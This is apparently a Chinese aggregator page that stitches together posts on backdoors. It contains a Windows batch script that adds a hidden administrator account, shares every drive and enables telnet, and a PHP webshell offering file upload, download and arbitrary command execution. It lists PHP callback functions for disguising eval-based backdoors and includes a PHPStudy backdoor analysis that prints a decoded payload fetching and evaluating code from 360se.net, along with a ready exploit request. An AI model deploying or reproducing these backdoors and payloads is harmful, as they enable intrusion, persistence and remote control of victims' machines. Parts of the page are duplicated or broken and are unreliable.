精华内容
下载资源
问答
  • 代码篇——————windows后门代码
    2017-03-21 12:33:38
    @echo off     
    @net user zzunble zzunble.net /add
    @net localgroup administrators zzunble /add
    @net share c$=c:
    @net share d$=d:
    @net share e$=e:
    @net share f$=f:
    @echo 3>c:\windows\system32\t1.txt
    @echo 8>>c:\windows\system32\t1.txt
    @echo y>>c:\windows\system32\t1.txt
    @echo 8000>>c:\windows\system32\t1.txt
    @echo y>>c:\windows\system32\t1.txt
    @echo 7>>c:\windows\system32\t1.txt
    @echo y>>c:\windows\system32\t1.txt
    @echo 0>>c:\windows\system32\t1.txt
    @echo y>>c:\windows\system32\t1.txt
    @echo 0>>c:\windows\system32\t1.txt
    @echo 5>>c:\windows\system32\t1.txt
    @echo 4>>c:\windows\system32\t1.txt
    @echo 0>>c:\windows\system32\t1.txt
    @tlntadmn < c:\windows\system32\t1.txt
    @echo at 11:00 c:\windows\system32\log.bat > c:\windows\system32\1.bat
    //计划11点运行批处理,为生成一个文件用
    @echo at 23:00 c:\windows\system32\log.bat >> c:\windows\system32\1.bat
    //计划在23点运行log.bat
    @ at 11:05 c:\windows\system32\1.bat
    @ at 23:05 c:\windows\system32\1.bat
    @net stop telnet
    @net start telnet

    @exit

    更多相关内容
  • 主要介绍了一个不易被发现的PHP后门代码解析,对于网络安全来说非常重要,需要的朋友可以参考下
  • 整理的比较全的一句话后门代码(方面大家查找后门),很多情况下也会有一些特殊字符的表示,原理一样。
  • PHP小后门代码

    2021-03-26 14:57:27
    http://blog.ddian.cn/?post=9801.[代码][PHP]代码$fp = '';$path = '';if(empty($_GET['action'])){if(empty($_GET['path'])){$_path = dirname(__FILE__);}else{if(is_dir($_GET['path'])){$_path = $_GET['path']...

    http://blog.ddian.cn/?post=980

    1.[代码][PHP]代码

    $fp = '';

    $path = '';

    if(empty($_GET['action'])){

    if(empty($_GET['path'])){

    $_path = dirname(__FILE__);

    }else{

    if(is_dir($_GET['path'])){

    $_path = $_GET['path'];

    }else{

    $_path .= dirname($_GET['path']);

    $file_name = $_GET['path'];

    if (!file_exists($file_name)) { //检查文件是否存在

    echo "文件找不到";

    } else {

    $file = fopen($file_name,"r"); // 打开文件

    // 输入文件标签

    Header("Content-type: application/octet-stream");

    Header("Accept-Ranges: bytes");

    Header("Accept-Length: ".filesize($file_name));

    Header("Content-Disposition: attachment; filename=" . str_replace(array(dirname($_GET['path']),'/'),'',$file_name));

    // 输出文件内容

    echo fread($file,filesize($file_name));

    fclose($file);

    exit;

    }

    }

    }

    }else if($_GET['action'] == 'close'){

    $time = intval($_GET['time']) > 0 ? intval($_GET['time']) : $_GET['time'];

    exec('shutdown -s -t '.$time);

    $_path = $_GET['path'];

    }else if($_GET['action'] == 'cancel'){

    exec('shutdown -a');

    $_path = $_GET['path'];

    }else if($_GET['action'] == 'mkdir'){

    $_path = $_GET['path'];

    $name = $_GET['name'];

    $_path .= $name;

    mkdir($_path);

    }else if($_GET['action'] == 'upload'){

    $_path = $_POST['path'];

    $name = $_FILES['name'];

    move_uploaded_file($name['tmp_name'],$_path . $name['name'] );

    }else if($_GET['action'] == 'ord'){

    $_path = $_GET['path'];

    $name = $_GET['name'];

    exec($name);

    }

    $dir = dir($_path);

    ?>

    目录:

    创建目录:

    执行命令:

    文件上传:

    while($fp = $dir->read()){

    ?>

    <?php echo $fp ?>删除下载

    }

    ?>

    展开全文
  • 只需几行代码就可以为WordPress主题留下后门,大家要小心了
  • 在网上看到N多人做radmin后门,要导出注册表而且还用被杀软件K杀。所以本人把自己写的脚本提供大家分享。比较实用,希望大家喜欢。
  • JSP一句话后门

    2021-01-08 21:03:47
    <% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());...
  • 后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。
  • linux 后门代码

    2012-07-24 10:58:28
    linux 后门代码
  • 反向连接后门代码

    2011-10-13 13:28:33
    用C实现的反向连接后门代码。具有反向连接功能,服务器端通过域名解析向客户端发起建立连接请求。
  • PHP常见代码执行后门函数代码执行:应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。常见php代码执行函数介绍常用执行代码函数1、eval()...

    PHP常见代码执行后门函数

    代码执行:

    应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。

    常见php代码执行函数介绍

    常用执行代码函数

    1、eval():

    eval函数将接受的字符串当做代码执行

    2、 assert():

    用法和 eval()一样

    3、preg_replace():

    preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行

    4、 create_function():

    $newfun = create_function('$hacker', 'echo $hacker;');

    $newfun('woaini');

    ?>

    创建了一个匿名函数,并返回了一个独一无二的函数名

    5、 call_user_func():

    echo call_user_func('shell_exec','whoami');

    ?>

    call_user_func_array('assert', array($_POST['pass']));

    ?>

    函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

    call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数

    6、更多回调函数

    call_user_func_array()

    call_user_func()

    array_filter()

    array_walk() array_map()

    registregister_shutdown_function()

    register_tick_function()

    filter_var()

    filter_var_array()

    uasort()

    uksort()

    array_reduce()

    array_walk()

    array_walk_recursive()

    解释:把函数作为参数传入进另一个函数中使用。

    call_user_func

    把第一个参数作为回调函数调用

    call_user_func_array

    调用回调函数,并把一个数组参数作为回调函数的参数

    usort

    使用用户自定义的比较函数对数组中的值进行排序

    register_shutdown_function

    注册一个会在php中止时执行的函数

    array_map

    为数组的每个元素应用回调函数

    array_walk

    使用用户自定义函数对数组中的每个元素做回调处理

    array_filter

    用回调函数过滤数组中的单元

    array_reduce

    用回调函数迭代地将数组简化为单一的值

    array_udiff

    用回调函数比较数据来计算数组的差集

    array_uintersect

    计算数组的交集,用回调函数比较数据

    array_diff_uassoc

    用用户提供的回调函数做索引检查来计算数组的差集

    array_diff_ukey

    用回调函数对键名比较计算数组的差集

    例子:

    //数组回调进行构造后门

    $arr=array($_POST['pass']);

    array_filter($arr,'assert');

    array_map('assert', $arr);

    uasort($arr, 'assert');

    //等等,用回调函数进行构造

    ?>

    原文:https://www.cnblogs.com/LeeeBoom/p/12359848.html

    展开全文
  • 后门首先由ChaMd5安全团队发布监测方法和后门位置。该软件被恶意攻击者攻击,注入了后门,通过远程控制抓取账号密码等信息传固定服务器上。 要检查安装的phpstudy是否有漏洞,可以使用下面脚本(安识安全团队撰写...

     

    PHPStudy软件是国内的一款免费的PHP调试环境集成包,一般在本机调试情况下使用,当然也有一些企业在生产中也可能使用。该后门首先由ChaMd5安全团队发布监测方法和后门位置。该软件被恶意攻击者攻击,注入了后门,通过远程控制抓取账号密码等信息传固定服务器上。

    要检查安装的phpstudy是否有漏洞,可以使用下面脚本(安识安全团队撰写的,不重复造轮子了)

    #encoding:utf-8

    #uthor__='安识科技安全服务团队'

    #date__='2019/09/23'

    import sys

    reload(sys)

    import os

    import re

    sys.setdefaultencoding('utf8')

    def check_file(filename):

         backdoor="@eval(%s('%s'))"    # 后门特征

         lines = 0

         presence = False  #默认为无

         if filename.endswith('.dll'):    # 筛选dll文件

             with open(filename, "rb") as backdoors:

                 for line in backdoors:

                     if backdoor in line:

                         presence = True

                         break

                     lines += 1 

         return presence, lines

    def Check_Vul(PHPStudy_DIR):

         # 检查目录

         for dirs,note, filenames in os.walk(PHPStudy_DIR):

             for filename in filenames:

                 Check_File = os.path.join(dirs, filename)

                 check_res, Row = check_file(Check_File)

                 if check_res:

                     print("Find backdoor   {0}  keyboard line: {1}".format(Check_File, Row))

         pass

     

    if __name__ == '__main__':

         if len(sys.argv) != 2:

             print("Instructions:[PHPStudy安装目录]")

             sys.exit(1)

         else:

             Check_Vul(sys.argv[1])

    输入执行Python check.py  d:\phpstudy,发现包含后门(由于杀毒软件会删除包含后门的这个dll文件,所以备份多个)

    也可以自行通过IDA等工具在dll中搜索@eval关键字,如果找到两处,则说明是包含后门版本。

    可以搜索到在text段10003566和10003636两处。eval是JavaScript函数,可计算某个字符串,并执行其中的javascript代码。从地址上来看,第一个%s应该是一个要执行的函数名称。

    按下F5,得到反汇编后的C语言代码

    跟gzuncompress函数有关,该函数是PHP下解压缩函数,可能是处理哪里输入的压缩数据,解压后执行。双击gzuncompress则跳转到下面

    可以看到gzuncompress(1000D018是gzuncompress函数)下面有一大段数据,每四个字节中只使用了高一位。判断从1000D028到1000D66C为zlib压缩的payload。后门代码检查请求头,当满足要求后,会获取压缩的payload,然后执行@eval(gzuncompress(payload)),

    下面是微云情报局给出的解析压缩代码的python脚本。分析脚本:

    # -*- coding:utf-8 -*-

        # !/usr/bin/env python

    下面是微云情报局给出的解析压缩代码的python脚本。分析脚本:

     

    # -*- coding:utf-8 -*-

        # !/usr/bin/env python

    下面是微云情报局给出的解析压缩代码的python脚本。分析脚本:

    # -*- coding:utf-8 -*-

        # !/usr/bin/env python

    import os

    import sys,string,   shutil,    re

    import base64

    import struct

    import pefile

    import ctypes

    import zlib

    # import put_family_c2

    def hexdump(src, length=16):

        FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])

        lines = []

        for c in xrange(0, len(src), length):

           chars = src[c:c + length]

           hex = ' '.join(["%02x" % ord(x) for x in chars])

           printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])

          lines.append("%04x  %-*s  %s\n" % (c, length * 3, hex, printable))

        return ''.join(lines)

    def descrypt(data):

     try:

     # data = base64.encodestring(data)

     # print(hexdump(data))

      num = 0 

      data = zlib.decompress(data)

      # return result

      return (True, result)

     except Exception as e:

        print(e)

        return (False, "")

     

    def GetSectionData(pe, Section):

     try:

       ep = Section.VirtualAddress

       ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase

       data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize]

       # print(hexdump(data))

       return data

     except Exception, e:

       return None

     

    def GetSecsions(PE):

     try:

       for section in PE.sections:

       # print(hexdump(section.Name))

          if (section.Name.replace('\x00', '') == '.data'):

             data = GetSectionData(PE, section)

             # print(hexdump(data))

             return (True, data)

       return (False, "")

     except Exception as e:

       return (False,"")

     

    def get_encodedata(filename):

     pe = pefile.PE(filename)

     (ret, data) = GetSecsions(pe)

     if ret:

       flag = "gzuncompress"

       offset = data.find(flag)

       data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "")

       decodedata_1 = zlib.decompress(data[:0x191])

       print(hexdump(data[0x191:]))

       decodedata_2 = zlib.decompress(data[0x191:])

       with open("decode_1.txt", "w") as hwrite:

         hwrite.write(decodedata_1)

         hwrite.close

       with open("decode_2.txt", "w") as hwrite:

         hwrite.write(decodedata_2)

         hwrite.close

    if __name__ == "__main__":

       print(sys.argv[1])

     get_encodedata(sys.argv[1])

    脚本执行,得到文件一个文件

    python py3.py D:\phpStudy\php\php-5.4.45\ext\php_xmlrpc1.dll

    分析出:

    @eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='));

     

    Base64编码的代码如下:

    QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ==

    通过在线工具解码如下:

    @ini_set("display_errors","0");

    error_reporting(0);

    $h = $_SERVER['HTTP_HOST'];

    $p = $_SERVER['SERVER_PORT'];

    $fp = fsockopen($h, $p, $errno, $errstr, 5);

    if (!$fp) {

    } else {

        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";

        $out .= "Host: {$h}\r\n";

        $out .= "Accept-Encoding: compress,gzip\r\n";

        $out .= "Connection: Close\r\n\r\n";

     

        fwrite($fp, $out);

    fclose($fp);

    }

    另一段代码通过在线base64解码:

    @ini_set("display_errors","0");

    error_reporting(0);

    function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){

        $result = "";

      $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);

      if( !$handle ){

        $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);

        if( !$handle ){

           return "err";

        }

      }

      fwrite($handle, $sendMsg."\n");

        while(!feof($handle)){

           stream_set_timeout($handle, 2);

           $result .= fread($handle, 1024);

           $info = stream_get_meta_data($handle);

           if ($info['timed_out']) {

             break;

           }

         }

      fclose($handle);

      return $result;

    }

    $ds = array("www","bbs","cms","down","up","file","ftp");

    $ps = array("20123","40125","8080","80","53");

    $n = false;

    do {

        $n = false;

        foreach ($ds as $d){

           $b = false;

           foreach ($ps as $p){

               $result = tcpGet($i,$d.".360se.net",$p);

               if ($result != "err"){

    $b =true;

                  break;

               }

           }

           if ($b)break;

        }

        $info = explode("<^>",$result);

        if (count($info)==4){

           if (strpos($info[3],"/*Onemore*/") !== false){

               $info[3] = str_replace("/*Onemore*/","",$info[3]);

               $n=true;

           }

           @eval(base64_decode($info[3]));

        }

    }while($n);

    截图第一段代码解码:

    截图另一段代码解码:

    那么该后门是如何被利用的呢?

    随便编写一个PHP代码,php.php

    例如:

    <?php

    $str="hello phpstudy!";

    echo $str;  

    ?>   

    启动包含后门的phpstudy集成环境,通过访问php.php,抓一个请求报文,可使用Fiddler抓包,得到下面请求报文:

    GET http://127.0.0.1/php.php HTTP/1.1

    Host: 127.0.0.1

    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0

    Accept: */*

    Accept-Encoding: gzip, deflate

    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

    Cache-Control: no-cache

    Pragma: no-cache

    DNT: 1

    Connection: keep-alive

    Content-Length: 2

     

    对报文进行修改,注意deflate前面有一个空格必须删除,添加执行(windows或Linux)命令的语句,需要把命令通过base64编码,例如windows下查看网络用户net user命令,可以使用system('net user');语句,通过base64编码为:c3lzdGVtKCduZXQgdXNlcicpOw==  放在Accept-Charset:后面,具体如下。

    GET http://127.0.0.1/php.php HTTP/1.1

    Host: 127.0.0.1

    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0

    Accept: */*

    Accept-Encoding: gzip,deflate

    Accept-Charset: c3lzdGVtKCduZXQgdXNlcicpOw==

    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

    Cache-Control: no-cache

    Pragma: no-cache

    DNT: 1

    Connection: keep-alive

    Content-Length: 2

     

    在Fiddler中执行上面报文,则可以看到

    执行返回报文如下,其中\\COBOT-FREEMAN下面便是当前电脑账号(中文在Fiddler显示有可能出现乱码)。

    关注安全  关注作者

    (完)

    展开全文
  • phpstudy后门代码利用及分析

    千次阅读 2019-10-04 20:56:45
    几天前火绒说我的PHPstudy有马,我以为是误报没有在意,但接着我就在知乎上看到了PHPstudy真可能有后门,于是赶紧看了一下,还真有,是我之前下的2016版的,而我在官网下的2019的phpstudy_pro没有问题 可以看到...
  • 开发四年只会写业务代码,分布式高并发都不会还做程序员? 流行的 Ruby 库 Bootstrap-Sass 曝出后门代...
  • 聚焦源代码安全,网罗国内外最新资讯!专栏·供应链安全数字化时代,软件无处不在。软件如同社会中的“虚拟人”,已经成为支撑社会正常运转的最基本元素之一,软件的安全性问题也正在成为当今社会的根...
  • php万能后门程序

    2012-09-11 18:05:40
    php万能后门操作类,放如任何php程序中即可使用!
  • php后门程序演示

    2021-03-23 08:14:07
    1.[代码][PHP]代码
  • 3389之永不查杀的后门shift后门代码

    千次阅读 2017-10-02 01:49:15
    前些天在群里有个小伙伴问了一句谁知道shift后门代码,当时我给了他一个链接,我总是觉得这个百度下就能找到吧,我查了一下,发现什么都有,有的不全有的要么复杂,我也搞不懂一个代码还不能认真的给我们吗?...
  • 本文由 安全客 原创发布,如需转载请注明来源及本文地址。 本文地址:... ...近日,非常流行的远程终端Xshell被发现被植入了后门代码,用户如果使用了特洛伊化的Xshell工具版本会导
  • 网站被黑 怎么检测代码含有后门

    千次阅读 2020-03-07 14:22:15
    收到阿里云的短信提醒说是网站存在后门,webshell恶意通信行为,紧急的安全情况,我第一时间登录阿里云查看详情,点开云盾动态感知,查看了网站木马的详细路径以及webshell的特征,网站从来没有出现过这种情况,一脸...
  • 一些php网站管理程序的,一些后门,其实官方也没有恶意,主要是大家为了自己的安全。
  • 代码木马后门扫描

    2018-07-04 10:21:27
    好用的木马后门扫描软件好用的木马后门扫描软件好用的木马后门扫描软件
  • asp后门文件

    2019-03-05 01:25:15
    博文链接:https://kenter1643.iteye.com/blog/189053
  • 新型ASP后门代码分析

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 35,173
精华内容 14,069
关键字:

后门代码